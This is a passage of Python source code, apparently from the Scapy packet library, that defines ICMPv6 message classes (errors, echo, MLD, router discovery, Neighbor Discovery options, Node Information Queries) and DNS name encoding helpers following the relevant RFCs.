self.payload.hashret() def answers(self, other): # isinstance(self.underlayer, _IPv6ExtHdr) may introduce a bug ... if (isinstance(self.underlayer, IPerror6) or isinstance(self.underlayer, _IPv6ExtHdr) and isinstance(other, _ICMPv6)): if not ((self.type == other.type) and (self.code == other.code)): return 0 return 1 return 0 class _ICMPv6Error(_ICMPv6): name = "ICMPv6 errors dummy class" def guess_payload_class(self, p): return IPerror6 class ICMPv6Unknown(_ICMPv6): name = "Scapy6 ICMPv6 fallback class" fields_desc = [ByteEnumField("type", 1, icmp6types), ByteField("code", 0), XShortField("cksum", None), StrField("msgbody", "")] # RFC 2460 # class ICMPv6DestUnreach(_ICMPv6Error): name = "ICMPv6 Destination Unreachable" fields_desc = [ByteEnumField("type", 1, icmp6types), ByteEnumField("code", 0, {0: "No route to destination", 1: "Communication with destination administratively prohibited", # noqa: E501 2: "Beyond scope of source address", # noqa: E501 3: "Address unreachable", 4: "Port unreachable"}), XShortField("cksum", None), ByteField("length", 0), X3BytesField("unused", 0), _ICMPExtensionPadField(), _ICMPExtensionField()] post_dissection = _ICMP_extpad_post_dissection class ICMPv6PacketTooBig(_ICMPv6Error): name = "ICMPv6 Packet Too Big" fields_desc = [ByteEnumField("type", 2, icmp6types), ByteField("code", 0), XShortField("cksum", None), IntField("mtu", 1280)] class ICMPv6TimeExceeded(_ICMPv6Error): name = "ICMPv6 Time Exceeded" fields_desc = [ByteEnumField("type", 3, icmp6types), ByteEnumField("code", 0, {0: "hop limit exceeded in transit", # noqa: E501 1: "fragment reassembly time exceeded"}), # noqa: E501 XShortField("cksum", None), ByteField("length", 0), X3BytesField("unused", 0), _ICMPExtensionPadField(), _ICMPExtensionField()] post_dissection = _ICMP_extpad_post_dissection # The default pointer value is set to the next header field of # the encapsulated IPv6 packet class ICMPv6ParamProblem(_ICMPv6Error): name = "ICMPv6 Parameter Problem" fields_desc = [ByteEnumField("type", 4, icmp6types), ByteEnumField( "code", 0, {0: "erroneous header field encountered", 1: "unrecognized Next Header type encountered", 2: "unrecognized IPv6 option encountered", 3: "first fragment has incomplete header chain"}), XShortField("cksum", None), IntField("ptr", 6)] class ICMPv6EchoRequest(_ICMPv6): name = "ICMPv6 Echo Request" fields_desc = [ByteEnumField("type", 128, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", 0), XShortField("seq", 0), StrField("data", "")] def mysummary(self): return self.sprintf("%name% (id: %id% seq: %seq%)") def hashret(self): return struct.pack("HH", self.id, self.seq) + self.payload.hashret() class ICMPv6EchoReply(ICMPv6EchoRequest): name = "ICMPv6 Echo Reply" type = 129 def answers(self, other): # We could match data content between request and reply. return (isinstance(other, ICMPv6EchoRequest) and self.id == other.id and self.seq == other.seq and self.data == other.data) # ICMPv6 Multicast Listener Discovery (RFC2710) # # tous les messages MLD sont emis avec une adresse source lien-locale # -> Y veiller dans le post_build si aucune n'est specifiee # La valeur de Hop-Limit doit etre de 1 # "and an IPv6 Router Alert option in a Hop-by-Hop Options # header. (The router alert option is necessary to cause routers to # examine MLD messages sent to multicast addresses in which the router # itself has no interest" class _ICMPv6ML(_ICMPv6): fields_desc = [ByteEnumField("type", 130, icmp6types), ByteField("code", 0), XShortField("cksum", None), ShortField("mrd", 0), ShortField("reserved", 0), IP6Field("mladdr", "::")] # general queries are sent to the link-scope all-nodes multicast # address ff02::1, with a multicast address field of 0 and a MRD of # [Query Response Interval] # Default value for mladdr is set to 0 for a General Query, and # overloaded by the user for a Multicast Address specific query # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLQuery(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Query" type = 130 mrd = 10000 # 10s for mrd mladdr = "::" overload_fields = {IPv6: {"dst": "ff02::1", "hlim": 1, "nh": 58}} # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLReport(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Report" type = 131 overload_fields = {IPv6: {"hlim": 1, "nh": 58}} def answers(self, query): """Check the query type""" return ICMPv6MLQuery in query # When a node ceases to listen to a multicast address on an interface, # it SHOULD send a single Done message to the link-scope all-routers # multicast address (FF02::2), carrying in its multicast address field # the address to which it is ceasing to listen # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLDone(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Done" type = 132 overload_fields = {IPv6: {"dst": "ff02::2", "hlim": 1, "nh": 58}} # Multicast Listener Discovery Version 2 (MLDv2) (RFC3810) # class ICMPv6MLQuery2(_ICMPv6): # RFC 3810 name = "MLDv2 - Multicast Listener Query" fields_desc = [ByteEnumField("type", 130, icmp6types), ByteField("code", 0), XShortField("cksum", None), ShortField("mrd", 10000), ShortField("reserved", 0), IP6Field("mladdr", "::"), BitField("Resv", 0, 4), BitField("S", 0, 1), BitField("QRV", 0, 3), ByteField("QQIC", 0), ShortField("sources_number", None), IP6ListField("sources", [], count_from=lambda pkt: pkt.sources_number)] # RFC8810 - 4. Message Formats overload_fields = {IPv6: {"dst": "ff02::1", "hlim": 1, "nh": 58}} def post_build(self, packet, payload): """Compute the 'sources_number' field when needed""" if self.sources_number is None: srcnum = struct.pack("!H", len(self.sources)) packet = packet[:26] + srcnum + packet[28:] return _ICMPv6.post_build(self, packet, payload) class ICMPv6MLDMultAddrRec(Packet): name = "ICMPv6 MLDv2 - Multicast Address Record" fields_desc = [ByteField("rtype", 4), FieldLenField("auxdata_len", None, length_of="auxdata", fmt="B"), FieldLenField("sources_number", None, length_of="sources", adjust=lambda p, num: num // 16), IP6Field("dst", "::"), IP6ListField("sources", [], length_from=lambda p: 16 * p.sources_number), StrLenField("auxdata", "", length_from=lambda p: p.auxdata_len)] def default_payload_class(self, packet): """Multicast Address Record followed by another one""" return self.__class__ class ICMPv6MLReport2(_ICMPv6): # RFC 3810 name = "MLDv2 - Multicast Listener Report" fields_desc = [ByteEnumField("type", 143, icmp6types), ByteField("res", 0), XShortField("cksum", None), ShortField("reserved", 0), ShortField("records_number", None), PacketListField("records", [], ICMPv6MLDMultAddrRec, count_from=lambda p: p.records_number)] # RFC8810 - 4. Message Formats overload_fields = {IPv6: {"dst": "ff02::16", "hlim": 1, "nh": 58}} def post_build(self, packet, payload): """Compute the 'records_number' field when needed""" if self.records_number is None: recnum = struct.pack("!H", len(self.records)) packet = packet[:6] + recnum + packet[8:] return _ICMPv6.post_build(self, packet, payload) def answers(self, query): """Check the query type""" return isinstance(query, ICMPv6MLQuery2) # ICMPv6 MRD - Multicast Router Discovery (RFC 4286) # # TODO: # - 04/09/06 troglocan : find a way to automatically add a router alert # option for all MRD packets. This could be done in a specific # way when IPv6 is the under layer with some specific keyword # like 'exthdr'. This would allow to keep compatibility with # providing IPv6 fields to be overloaded in fields_desc. # # At the moment, if user inserts an IPv6 Router alert option # none of the IPv6 default values of IPv6 layer will be set. class ICMPv6MRD_Advertisement(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Advertisement" fields_desc = [ByteEnumField("type", 151, icmp6types), ByteField("advinter", 20), XShortField("cksum", None), ShortField("queryint", 0), ShortField("robustness", 0)] overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::2"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:8], s[8:] class ICMPv6MRD_Solicitation(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Solicitation" fields_desc = [ByteEnumField("type", 152, icmp6types), ByteField("res", 0), XShortField("cksum", None)] overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::2"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:4], s[4:] class ICMPv6MRD_Termination(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Termination" fields_desc = [ByteEnumField("type", 153, icmp6types), ByteField("res", 0), XShortField("cksum", None)] overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::6A"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:4], s[4:] # ICMPv6 Neighbor Discovery (RFC 2461) # icmp6ndopts = {1: "Source Link-Layer Address", 2: "Target Link-Layer Address", 3: "Prefix Information", 4: "Redirected Header", 5: "MTU", 6: "NBMA Shortcut Limit Option", # RFC2491 7: "Advertisement Interval Option", 8: "Home Agent Information Option", 9: "Source Address List", 10: "Target Address List", 11: "CGA Option", # RFC 3971 12: "RSA Signature Option", # RFC 3971 13: "Timestamp Option", # RFC 3971 14: "Nonce option", # RFC 3971 15: "Trust Anchor Option", # RFC 3971 16: "Certificate Option", # RFC 3971 17: "IP Address Option", # RFC 4068 18: "New Router Prefix Information Option", # RFC 4068 19: "Link-layer Address Option", # RFC 4068 20: "Neighbor Advertisement Acknowledgement Option", 21: "CARD Request Option", # RFC 4065/4066/4067 22: "CARD Reply Option", # RFC 4065/4066/4067 23: "MAP Option", # RFC 4140 24: "Route Information Option", # RFC 4191 25: "Recursive DNS Server Option", 26: "IPv6 Router Advertisement Flags Option" } icmp6ndoptscls = {1: "ICMPv6NDOptSrcLLAddr", 2: "ICMPv6NDOptDstLLAddr", 3: "ICMPv6NDOptPrefixInfo", 4: "ICMPv6NDOptRedirectedHdr", 5: "ICMPv6NDOptMTU", 6: "ICMPv6NDOptShortcutLimit", 7: "ICMPv6NDOptAdvInterval", 8: "ICMPv6NDOptHAInfo", 9: "ICMPv6NDOptSrcAddrList", 10: "ICMPv6NDOptTgtAddrList", # 11: ICMPv6NDOptCGA, RFC3971 - contrib/send.py # 12: ICMPv6NDOptRsaSig, RFC3971 - contrib/send.py # 13: ICMPv6NDOptTmstp, RFC3971 - contrib/send.py # 14: ICMPv6NDOptNonce, RFC3971 - contrib/send.py # 15: Do Me, # 16: Do Me, 17: "ICMPv6NDOptIPAddr", 18: "ICMPv6NDOptNewRtrPrefix", 19: "ICMPv6NDOptLLA", # 18: Do Me, # 19: Do Me, # 20: Do Me, # 21: Do Me, # 22: Do Me, 23: "ICMPv6NDOptMAP", 24: "ICMPv6NDOptRouteInfo", 25: "ICMPv6NDOptRDNSS", 26: "ICMPv6NDOptEFA", 31: "ICMPv6NDOptDNSSL", 37: "ICMPv6NDOptCaptivePortal", 38: "ICMPv6NDOptPREF64", } icmp6ndraprefs = {0: "Medium (default)", 1: "High", 2: "Reserved", 3: "Low"} # RFC 4191 class _ICMPv6NDGuessPayload: name = "Dummy ND class that implements guess_payload_class()" def guess_payload_class(self, p): if len(p) > 1: return icmp6ndoptscls.get(orb(p[0]), ICMPv6NDOptUnknown) # Beginning of ICMPv6 Neighbor Discovery Options. class ICMPv6NDOptDataField(StrLenField): __slots__ = ["strip_zeros"] def __init__(self, name, default, strip_zeros=False, **kwargs): super().__init__(name, default, **kwargs) self.strip_zeros = strip_zeros def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def i2m(self, pkt, x): r = (len(x) + 2) % 8 if r: x += b"\x00" * (8 - r) return x def m2i(self, pkt, x): if self.strip_zeros: x = x.rstrip(b"\x00") return x class ICMPv6NDOptUnknown(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Scapy Unimplemented" fields_desc = [ByteField("type", 0), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda pkt, x: (2 + x) // 8), ICMPv6NDOptDataField("data", "", strip_zeros=False, length_from=lambda pkt: 8 * max(pkt.len, 1) - 2)] # NOTE: len includes type and len field. Expressed in unit of 8 bytes # TODO: Revoir le coup du ETHER_ANY class ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Source Link-Layer Address" fields_desc = [ByteField("type", 1), ByteField("len", 1), SourceMACField("lladdr")] def mysummary(self): return self.sprintf("%name% %lladdr%") class ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr): name = "ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address" type = 2 class ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Prefix Information" fields_desc = [ByteField("type", 3), ByteField("len", 4), ByteField("prefixlen", 64), BitField("L", 1, 1), BitField("A", 1, 1), BitField("R", 0, 1), BitField("res1", 0, 5), XIntField("validlifetime", 0xffffffff), XIntField("preferredlifetime", 0xffffffff), XIntField("res2", 0x00000000), IP6Field("prefix", "::")] def mysummary(self): return self.sprintf("%name% %prefix%/%prefixlen% " "On-link %L% Autonomous Address %A% " "Router Address %R%") # TODO: We should also limit the size of included packet to something # like (initiallen - 40 - 2) class TruncPktLenField(PacketLenField): def i2m(self, pkt, x): s = bytes(x) tmp_len = len(s) return s[:tmp_len - (tmp_len % 8)] def i2len(self, pkt, i): return len(self.i2m(pkt, i)) class ICMPv6NDOptRedirectedHdr(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Redirected Header" fields_desc = [ByteField("type", 4), FieldLenField("len", None, length_of="pkt", fmt="B", adjust=lambda pkt, x: (x + 8) // 8), MayEnd(StrFixedLenField("res", b"\x00" * 6, 6)), TruncPktLenField("pkt", b"", IPv6, length_from=lambda pkt: 8 * pkt.len - 8)] # See which value should be used for default MTU instead of 1280 class ICMPv6NDOptMTU(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - MTU" fields_desc = [ByteField("type", 5), ByteField("len", 1), XShortField("res", 0), IntField("mtu", 1280)] def mysummary(self): return self.sprintf("%name% %mtu%") class ICMPv6NDOptShortcutLimit(_ICMPv6NDGuessPayload, Packet): # RFC 2491 name = "ICMPv6 Neighbor Discovery Option - NBMA Shortcut Limit" fields_desc = [ByteField("type", 6), ByteField("len", 1), ByteField("shortcutlim", 40), # XXX ByteField("res1", 0), IntField("res2", 0)] class ICMPv6NDOptAdvInterval(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery - Interval Advertisement" fields_desc = [ByteField("type", 7), ByteField("len", 1), ShortField("res", 0), IntField("advint", 0)] def mysummary(self): return self.sprintf("%name% %advint% milliseconds") class ICMPv6NDOptHAInfo(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery - Home Agent Information" fields_desc = [ByteField("type", 8), ByteField("len", 1), ShortField("res", 0), ShortField("pref", 0), ShortField("lifetime", 1)] def mysummary(self): return self.sprintf("%name% %pref% %lifetime% seconds") # type 9 : See ICMPv6NDOptSrcAddrList class below in IND (RFC 3122) support # type 10 : See ICMPv6NDOptTgtAddrList class below in IND (RFC 3122) support class ICMPv6NDOptIPAddr(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - IP Address Option (FH for MIPv6)" fields_desc = [ByteField("type", 17), ByteField("len", 3), ByteEnumField("optcode", 1, {1: "Old Care-Of Address", 2: "New Care-Of Address", 3: "NAR's IP address"}), ByteField("plen", 64), IntField("res", 0), IP6Field("addr", "::")] class ICMPv6NDOptNewRtrPrefix(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - New Router Prefix Information Option (FH for MIPv6)" # noqa: E501 fields_desc = [ByteField("type", 18), ByteField("len", 3), ByteField("optcode", 0), ByteField("plen", 64), IntField("res", 0), IP6Field("prefix", "::")] _rfc4068_lla_optcode = {0: "Wildcard requesting resolution for all nearby AP", 1: "LLA for the new AP", 2: "LLA of the MN", 3: "LLA of the NAR", 4: "LLA of the src of TrSolPr or PrRtAdv msg", 5: "AP identified by LLA belongs to current iface of router", # noqa: E501 6: "No preifx info available for AP identified by the LLA", # noqa: E501 7: "No fast handovers support for AP identified by the LLA"} # noqa: E501 class ICMPv6NDOptLLA(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - Link-Layer Address (LLA) Option (FH for MIPv6)" # noqa: E501 fields_desc = [ByteField("type", 19), ByteField("len", 1), ByteEnumField("optcode", 0, _rfc4068_lla_optcode), MACField("lla", ETHER_ANY)] # We only support ethernet class ICMPv6NDOptMAP(_ICMPv6NDGuessPayload, Packet): # RFC 4140 name = "ICMPv6 Neighbor Discovery - MAP Option" fields_desc = [ByteField("type", 23), ByteField("len", 3), BitField("dist", 1, 4), BitField("pref", 15, 4), # highest availability BitField("R", 1, 1), BitField("res", 0, 7), IntField("validlifetime", 0xffffffff), IP6Field("addr", "::")] class _IP6PrefixField(IP6Field): __slots__ = ["length_from"] def __init__(self, name, default): IP6Field.__init__(self, name, default) self.length_from = lambda pkt: 8 * (pkt.len - 1) def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def getfield(self, pkt, s): tmp_len = self.length_from(pkt) p = s[:tmp_len] if tmp_len < 16: p += b'\x00' * (16 - tmp_len) return s[tmp_len:], self.m2i(pkt, p) def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def i2m(self, pkt, x): tmp_len = pkt.len if x is None: x = "::" if tmp_len is None: tmp_len = 1 x = inet_pton(socket.AF_INET6, x) if tmp_len is None: return x if tmp_len in [0, 1]: return b"" if tmp_len in [2, 3]: return x[:8 * (tmp_len - 1)] return x + b'\x00' * 8 * (tmp_len - 3) class ICMPv6NDOptRouteInfo(_ICMPv6NDGuessPayload, Packet): # RFC 4191 name = "ICMPv6 Neighbor Discovery Option - Route Information Option" fields_desc = [ByteField("type", 24), FieldLenField("len", None, length_of="prefix", fmt="B", adjust=lambda pkt, x: x // 8 + 1), ByteField("plen", None), BitField("res1", 0, 3), BitEnumField("prf", 0, 2, icmp6ndraprefs), BitField("res2", 0, 3), IntField("rtlifetime", 0xffffffff), _IP6PrefixField("prefix", None)] def mysummary(self): return self.sprintf("%name% %prefix%/%plen% Preference %prf%") class ICMPv6NDOptRDNSS(_ICMPv6NDGuessPayload, Packet): # RFC 5006 name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option" fields_desc = [ByteField("type", 25), FieldLenField("len", None, count_of="dns", fmt="B", adjust=lambda pkt, x: 2 * x + 1), ShortField("res", None), IntField("lifetime", 0xffffffff), IP6ListField("dns", [], length_from=lambda pkt: 8 * (pkt.len - 1))] def mysummary(self): return self.sprintf("%name% ") + ", ".join(self.dns) class ICMPv6NDOptEFA(_ICMPv6NDGuessPayload, Packet): # RFC 5175 (prev. 5075) name = "ICMPv6 Neighbor Discovery Option - Expanded Flags Option" fields_desc = [ByteField("type", 26), ByteField("len", 1), BitField("res", 0, 48)] # As required in Sect 8. of RFC 3315, Domain Names must be encoded as # described in section 3.1 of RFC 1035 # XXX Label should be at most 63 octets in length : we do not enforce it # Total length of domain should be 255 : we do not enforce it either class DomainNameListField(StrLenField): __slots__ = ["padded"] islist = 1 padded_unit = 8 def __init__(self, name, default, length_from=None, padded=False): # noqa: E501 self.padded = padded StrLenField.__init__(self, name, default, length_from=length_from) def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def i2h(self, pkt, x): if not x: return [] return x def m2i(self, pkt, x): x = plain_str(x) # Decode bytes to string res = [] while x: # Get a name until \x00 is reached cur = [] while x and ord(x[0]) != 0: tmp_len = ord(x[0]) cur.append(x[1:tmp_len + 1]) x = x[tmp_len + 1:] if self.padded: # Discard following \x00 in padded mode if len(cur): res.append(".".join(cur) + ".") else: # Store the current name res.append(".".join(cur) + ".") if x and ord(x[0]) == 0: x = x[1:] return res def i2m(self, pkt, x): def conditionalTrailingDot(z): if z and orb(z[-1]) == 0: return z return z + b'\x00' # Build the encode names tmp = ([chb(len(z)) + z.encode("utf8") for z in y.split('.')] for y in x) # Also encode string to bytes # noqa: E501 ret_string = b"".join(conditionalTrailingDot(b"".join(x)) for x in tmp) # In padded mode, add some \x00 bytes if self.padded and not len(ret_string) % self.padded_unit == 0: ret_string += b"\x00" * (self.padded_unit - len(ret_string) % self.padded_unit) # noqa: E501 return ret_string class ICMPv6NDOptDNSSL(_ICMPv6NDGuessPayload, Packet): # RFC 6106 name = "ICMPv6 Neighbor Discovery Option - DNS Search List Option" fields_desc = [ByteField("type", 31), FieldLenField("len", None, length_of="searchlist", fmt="B", adjust=lambda pkt, x: 1 + x // 8), ShortField("res", None), IntField("lifetime", 0xffffffff), DomainNameListField("searchlist", [], length_from=lambda pkt: 8 * pkt.len - 8, padded=True) ] def mysummary(self): return self.sprintf("%name% ") + ", ".join(self.searchlist) class ICMPv6NDOptCaptivePortal(_ICMPv6NDGuessPayload, Packet): # RFC 8910 name = "ICMPv6 Neighbor Discovery Option - Captive-Portal Option" fields_desc = [ByteField("type", 37), FieldLenField("len", None, length_of="URI", fmt="B", adjust=lambda pkt, x: (2 + x) // 8), ICMPv6NDOptDataField("URI", "", strip_zeros=True, length_from=lambda pkt: 8 * max(pkt.len, 1) - 2)] def mysummary(self): return self.sprintf("%name% %URI%") class _PREF64(IP6Field): def addfield(self, pkt, s, val): return s + self.i2m(pkt, val)[:12] def getfield(self, pkt, s): return s[12:], self.m2i(pkt, s[:12] + b"\x00" * 4) class ICMPv6NDOptPREF64(_ICMPv6NDGuessPayload, Packet): # RFC 8781 name = "ICMPv6 Neighbor Discovery Option - PREF64 Option" fields_desc = [ByteField("type", 38), ByteField("len", 2), BitField("scaledlifetime", 0, 13), BitEnumField("plc", 0, 3, ["/96", "/64", "/56", "/48", "/40", "/32"]), _PREF64("prefix", "::")] def mysummary(self): plc = self.sprintf("%plc%") if self.plc < 6 else f"[invalid PLC({self.plc})]" return self.sprintf("%name% %prefix%") + plc # End of ICMPv6 Neighbor Discovery Options. class ICMPv6ND_RS(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Neighbor Discovery - Router Solicitation" fields_desc = [ByteEnumField("type", 133, icmp6types), ByteField("code", 0), XShortField("cksum", None), IntField("res", 0)] overload_fields = {IPv6: {"nh": 58, "dst": "ff02::2", "hlim": 255}} class ICMPv6ND_RA(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Neighbor Discovery - Router Advertisement" fields_desc = [ByteEnumField("type", 134, icmp6types), ByteField("code", 0), XShortField("cksum", None), ByteField("chlim", 0), BitField("M", 0, 1), BitField("O", 0, 1), BitField("H", 0, 1), BitEnumField("prf", 1, 2, icmp6ndraprefs), # RFC 4191 BitField("P", 0, 1), BitField("res", 0, 2), ShortField("routerlifetime", 1800), IntField("reachabletime", 0), IntField("retranstimer", 0)] overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} def answers(self, other): return isinstance(other, ICMPv6ND_RS) def mysummary(self): return self.sprintf("%name% Lifetime %routerlifetime% " "Hop Limit %chlim% Preference %prf% " "Managed %M% Other %O% Home %H%") class ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet): name = "ICMPv6 Neighbor Discovery - Neighbor Solicitation" fields_desc = [ByteEnumField("type", 135, icmp6types), ByteField("code", 0), XShortField("cksum", None), IntField("res", 0), IP6Field("tgt", "::")] overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} def mysummary(self): return self.sprintf("%name% (tgt: %tgt%)") def hashret(self): return bytes_encode(self.tgt) + self.payload.hashret() class ICMPv6ND_NA(_ICMPv6NDGuessPayload, _ICMPv6, Packet): name = "ICMPv6 Neighbor Discovery - Neighbor Advertisement" fields_desc = [ByteEnumField("type", 136, icmp6types), ByteField("code", 0), XShortField("cksum", None), BitField("R", 1, 1), BitField("S", 0, 1), BitField("O", 1, 1), XBitField("res", 0, 29), IP6Field("tgt", "::")] overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} def mysummary(self): return self.sprintf("%name% (tgt: %tgt%)") def hashret(self): return bytes_encode(self.tgt) + self.payload.hashret() def answers(self, other): return isinstance(other, ICMPv6ND_NS) and self.tgt == other.tgt # associated possible options : target link-layer option, Redirected header class ICMPv6ND_Redirect(_ICMPv6NDGuessPayload, _ICMPv6, Packet): name = "ICMPv6 Neighbor Discovery - Redirect" fields_desc = [ByteEnumField("type", 137, icmp6types), ByteField("code", 0), XShortField("cksum", None), XIntField("res", 0), IP6Field("tgt", "::"), IP6Field("dst", "::")] overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} # ICMPv6 Inverse Neighbor Discovery (RFC 3122) # class ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Inverse Neighbor Discovery Option - Source Address List" fields_desc = [ByteField("type", 9), FieldLenField("len", None, count_of="addrlist", fmt="B", adjust=lambda pkt, x: 2 * x + 1), StrFixedLenField("res", b"\x00" * 6, 6), IP6ListField("addrlist", [], length_from=lambda pkt: 8 * (pkt.len - 1))] class ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList): name = "ICMPv6 Inverse Neighbor Discovery Option - Target Address List" type = 10 # RFC3122 # Options requises : source lladdr et target lladdr # Autres options valides : source address list, MTU # - Comme precise dans le document, il serait bien de prendre l'adresse L2 # demandee dans l'option requise target lladdr et l'utiliser au niveau # de l'adresse destination ethernet si aucune adresse n'est precisee # - ca semble pas forcement pratique si l'utilisateur doit preciser toutes # les options. # Ether() must use the target lladdr as destination class ICMPv6ND_INDSol(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Inverse Neighbor Discovery Solicitation" fields_desc = [ByteEnumField("type", 141, icmp6types), ByteField("code", 0), XShortField("cksum", None), XIntField("reserved", 0)] overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} # Options requises : target lladdr, target address list # Autres options valides : MTU class ICMPv6ND_INDAdv(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Inverse Neighbor Discovery Advertisement" fields_desc = [ByteEnumField("type", 142, icmp6types), ByteField("code", 0), XShortField("cksum", None), XIntField("reserved", 0)] overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1", "hlim": 255}} ############################################################################### # ICMPv6 Node Information Queries (RFC 4620) ############################################################################### # [ ] Add automatic destination address computation using computeNIGroupAddr # in IPv6 class (Scapy6 modification when integrated) if : # - it is not provided # - upper layer is ICMPv6NIQueryName() with a valid value # [ ] Try to be liberal in what we accept as internal values for _explicit_ # DNS elements provided by users. Any string should be considered # valid and kept like it has been provided. At the moment, i2repr() will # crash on many inputs # [ ] Do the documentation # [ ] Add regression tests # [ ] Perform test against real machines (NOOP reply is proof of implementation). # noqa: E501 # [ ] Check if there are differences between different stacks. Among *BSD, # with others. # [ ] Deal with flags in a consistent way. # [ ] Implement compression in names2dnsrepr() and decompresiion in # dnsrepr2names(). Should be deactivable. icmp6_niqtypes = {0: "NOOP", 2: "Node Name", 3: "IPv6 Address", 4: "IPv4 Address"} class _ICMPv6NIHashret: def hashret(self): return bytes_encode(self.nonce) class _ICMPv6NIAnswers: def answers(self, other): return self.nonce == other.nonce # Buggy; always returns the same value during a session class NonceField(StrFixedLenField): def __init__(self, name, default=None): StrFixedLenField.__init__(self, name, default, 8) if default is None: self.default = self.randval() @conf.commands.register def computeNIGroupAddr(name): """Compute the NI group Address. Can take a FQDN as input parameter""" name = name.lower().split(".")[0] record = chr(len(name)) + name h = md5(record.encode("utf8")) h = h.digest() addr = "ff02::2:%2x%2x:%2x%2x" % struct.unpack("BBBB", h[:4]) return addr # Here is the deal. First, that protocol is a piece of shit. Then, we # provide 4 classes for the different kinds of Requests (one for every # valid qtype: NOOP, Node Name, IPv6@, IPv4@). They all share the same # data field class that is made to be smart by guessing the specific # type of value provided : # # - IPv6 if acceptable for inet_pton(AF_INET6, ): code is set to 0, # if not overridden by user # - IPv4 if acceptable for inet_pton(AF_INET, ): code is set to 2, # if not overridden # - Name in the other cases: code is set to 0, if not overridden by user # # Internal storage, is not only the value, but the a pair providing # the type and the value (1 is IPv6@, 1 is Name or string, 2 is IPv4@) # # Note : I merged getfield() and m2i(). m2i() should not be called # directly anyway. Same remark for addfield() and i2m() # # -- arno # "The type of information present in the Data field of a query is # declared by the ICMP Code, whereas the type of information in a # Reply is determined by the Qtype" def names2dnsrepr(x): """ Take as input a list of DNS names or a single DNS name and encode it in DNS format (with possible compression) If a string that is already a DNS name in DNS format is passed, it is returned unmodified. Result is a string. !!! At the moment, compression is not implemented !!! """ if isinstance(x, bytes): if x and x[-1:] == b'\x00': # stupid heuristic return x x = [x] res = [] for n in x: termin = b"\x00" if n.count(b'.') == 0: # single-component gets one more termin += b'\x00' n = b"".join(chb(len(y)) + y for y in n.split(b'.')) + termin res.append(n) return b"".join(res) def dnsrepr2names(x): """ Take as input a DNS encoded string (possibly compressed) and returns a list of DNS names contained in it. If provided string is already in printable format (does not end with a null character, a one element list is returned). Result is a list. """ res = [] cur = b"" while x: tmp_len = orb(x[0]) x = x[1:] if not tmp_len: if cur and cur[-1:] == b'.': cur = cur[:-1] res.append(cur) cur = b"" if x and orb(x[0]) == 0: # single component x = x[1:] continue if tmp_len & 0xc0: # XXX TODO : work on that -- arno raise Exception("DNS message can't be compressed at this point!") cur += x[:tmp_len] + b"." x = x[tmp_len:] return res class NIQueryDataField(StrField): def __init__(self, name, default): StrField.__init__(self, name, default) def i2h(self, pkt, x): if x is None: return x t, val = x if t == 1: val = dnsrepr2names(val)[0] return val def h2i(self, pkt, x): if x is tuple and isinstance(x[0], int): return x # Try IPv6 try: inet_pton(socket.AF_INET6, x.decode()) return (0, x.decode()) except Exception: pass # Try IPv4 try: inet_pton(socket.AF_INET, x.decode()) return (2, x.decode()) except Exception: pass # Try DNS if x is None: x = b"" x = names2dnsrepr(x) return (1, x) def i2repr(self, pkt, x): t, val = x if t == 1: # DNS Name # we don't use dnsrepr2names() to deal with # possible weird data extracted info res = [] while val: tmp_len = orb(val[0]) val = val[1:] if tmp_len == 0: break res.append(plain_str(val[:tmp_len]) + ".") val = val[tmp_len:] tmp = "".join(res) if tmp and tmp[-1] == '.': tmp = tmp[:-1] return tmp return repr(val) def getfield(self, pkt, s): 